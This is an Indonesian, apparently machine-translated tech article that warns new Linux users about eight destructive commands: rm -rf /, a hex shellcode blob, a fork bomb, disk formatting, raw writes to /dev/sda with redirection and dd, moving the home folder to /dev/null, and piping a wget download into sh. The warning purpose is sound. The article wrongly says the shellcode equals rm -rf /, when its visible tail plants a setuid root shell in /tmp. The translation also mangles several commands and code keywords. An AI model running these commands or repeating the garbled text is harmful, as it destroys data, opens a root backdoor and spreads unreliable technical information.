If-Koubou

8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux

8 Perintah Mematikan yang Tidak Harus Anda Jalankan di Linux (Bagaimana caranya)

Perintah terminal Linux sangat kuat, dan Linux tidak akan meminta Anda untuk konfirmasi jika Anda menjalankan perintah yang akan merusak sistem Anda. Tidak jarang melihat troll online merekomendasikan pengguna Linux baru menjalankan perintah ini sebagai lelucon.

Mempelajari perintah yang seharusnya tidak Anda jalankan dapat membantu melindungi Anda dari troll sambil meningkatkan pemahaman Anda tentang cara kerja Linux. Ini bukan panduan lengkap, dan perintah di sini dapat diremix dengan berbagai cara.

Perhatikan bahwa banyak dari perintah ini hanya akan berbahaya jika diawali dengan sudo di Ubuntu - mereka tidak akan berfungsi sebaliknya. Pada distribusi Linux lainnya, sebagian besar perintah harus dijalankan sebagai root.

Gambar Kredit: Skull dan Crossbones remix dari Jason Ford di Twitter

rm -rf / - Menghapus Semuanya!

Perintah rm -rf / menghapus semua yang mungkin, termasuk file di hard drive dan file di perangkat media lepasan yang terhubung. Perintah ini lebih bisa dimengerti jika dipecah:

rm - Hapus file-file berikut.

-rf - Jalankan rm secara rekursif (hapus semua file dan folder di dalam folder yang ditentukan) dan paksa-hapus semua file tanpa meminta Anda.

/ - Memberitahukan rm untuk memulai di direktori root, yang berisi semua file di komputer Anda dan semua perangkat media yang di-mount, termasuk berbagi file jarak jauh dan drive yang dapat dilepas.

Linux dengan senang hati akan mematuhi perintah ini dan menghapus semuanya tanpa meminta Anda, jadi berhati-hatilah saat menggunakannya! Perintah rm juga dapat digunakan dengan cara berbahaya lainnya - rm -rf ~ akan menghapus semua file di folder rumah Anda, sementara rm -rf. * akan menghapus semua file konfigurasi Anda.

Pelajaran: Hati-hati rm -rf.

Rm -rf terselubung /

Ini adalah cuplikan kode lain yang ada di seluruh web:

char esp [] __attribute__ ((bagian (". text"))) / * e.s.p
rilis * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
“Cp -p / bin / sh / tmp/.beyond; chmod 4755
/tmp/.beyond; ”;

Ini adalah versi hex dari rm -rf / - mengeksekusi perintah ini akan menghapus file Anda seolah-olah Anda telah menjalankan rm -rf /.

Pelajaran: Jangan menjalankan perintah yang tampak aneh, jelas-jelas tersembunyi yang tidak Anda pahami.

: () : |: & ;: - Fork Bomb

Baris berikut adalah fungsi bash yang tampak sederhana, tetapi berbahaya:

:() :|: & ;:

Baris pendek ini mendefinisikan fungsi shell yang membuat salinan baru dari dirinya sendiri. Proses ini terus mereplikasi dirinya sendiri, dan salinannya terus mereplikasi diri mereka, dengan cepat menggunakan semua waktu dan memori CPU Anda. Ini dapat menyebabkan komputer Anda membeku. Ini pada dasarnya serangan denial-of-service.

Pelajaran: Fungsi Bash sangat kuat, bahkan sangat singkat.

Kredit Gambar: Dake di Wikimedia Commons

mkfs.ext4 / dev / sda1 - Memformat Hard Drive

Itu mkfs.ext4 / dev / sda1perintahnya mudah dimengerti:

mkfs.ext4 - Buat sistem file ext4 baru di perangkat berikut.

/ dev / sda1 - Menentukan partisi pertama pada hard drive pertama, yang mungkin digunakan.

Secara bersama-sama, perintah ini dapat setara dengan menjalankan format c: pada Windows - perintah ini akan menghapus file pada partisi pertama Anda dan menggantinya dengan sistem file baru.

Perintah ini bisa datang dalam bentuk lain juga - mkfs.ext3 / dev / sdb2 akan memformat partisi kedua pada hard drive kedua dengan sistem file ext3.

Pelajaran: Hati-hati menjalankan perintah langsung pada perangkat hard disk yang dimulai dengan / dev / sd.

perintah> / dev / sda - Menulis Langsung ke Hard Drive

Itu perintah> / dev / sda baris bekerja sama - menjalankan perintah dan mengirim output dari perintah itu langsung ke hard drive pertama Anda, menulis data langsung ke hard disk drive dan merusak sistem file Anda.

perintah - Jalankan perintah (bisa berupa perintah apa saja.)

> - Kirim output dari perintah ke lokasi berikut.

/ dev / sda - Tuliskan output dari perintah langsung ke perangkat hard disk.

Pelajaran: Seperti di atas, berhati-hatilah menjalankan perintah yang melibatkan perangkat hard disk yang dimulai dengan / dev / sd.

dd if = / dev / random = / dev / sda - Menulis Sampah Ke Hard Drive

Itu dd if = / dev / random = / dev / sda garis juga akan menghapus data pada salah satu hard drive Anda.

DD - Lakukan penyalinan tingkat rendah dari satu lokasi ke lokasi lain.

jika = / dev / acak - Gunakan / dev / random (data acak) sebagai input - Anda juga dapat melihat lokasi seperti / dev / nol (nol).

dari = / dev / sda - Output ke hard disk pertama, mengganti sistem file dengan data sampah acak.

Pelajaran: dd menyalin data dari satu lokasi ke lokasi lain, yang dapat berbahaya jika Anda menyalin langsung ke perangkat.

Kredit Gambar: Matt Rudge di Flickr

mv ~ / dev / null - Memindahkan Direktori Rumah Anda ke Lubang Hitam

/ dev / null adalah lokasi khusus lainnya - memindahkan sesuatu ke / dev / null adalah sama dengan menghancurkannya. Pikirkan / dev / null sebagai lubang hitam. Intinya, mv ~ / dev / null mengirim semua file pribadi Anda ke dalam lubang hitam.

mv - Pindahkan file atau direktori berikut ke lokasi lain.

~ - Mewakili seluruh folder rumah Anda.

/ dev / null - Pindahkan folder home Anda ke / dev / null, hancurkan semua file Anda dan hapus salinan asli.

Pelajaran: Karakter ~ mewakili folder home Anda dan memindahkan hal-hal ke / dev / null menghancurkannya.

wget http://example.com/something -O - | sh - Unduh dan Menjalankan Script

Baris di atas mengunduh skrip dari web dan mengirimnya ke sh, yang mengeksekusi konten skrip. Ini bisa berbahaya jika Anda tidak yakin apa script itu atau jika Anda tidak mempercayai sumbernya - jangan menjalankan skrip yang tidak tepercaya.

wget - Unduh file. (Anda mungkin juga melihat curl sebagai pengganti wget.)

http://example.com/something - Unduh file dari lokasi ini.

| - Pipa (kirim) output dari perintah wget (file yang Anda unduh) langsung ke perintah lain.

SH - Kirim file ke perintah sh, yang mengeksekusinya jika itu adalah skrip bash.

Pelajaran: Jangan mengunduh dan menjalankan skrip yang tidak tepercaya dari web, bahkan dengan sebuah perintah.

Tahu perintah berbahaya lainnya yang seharusnya tidak dijalankan pengguna Linux yang baru (dan berpengalaman)? Tinggalkan komentar dan bagikan!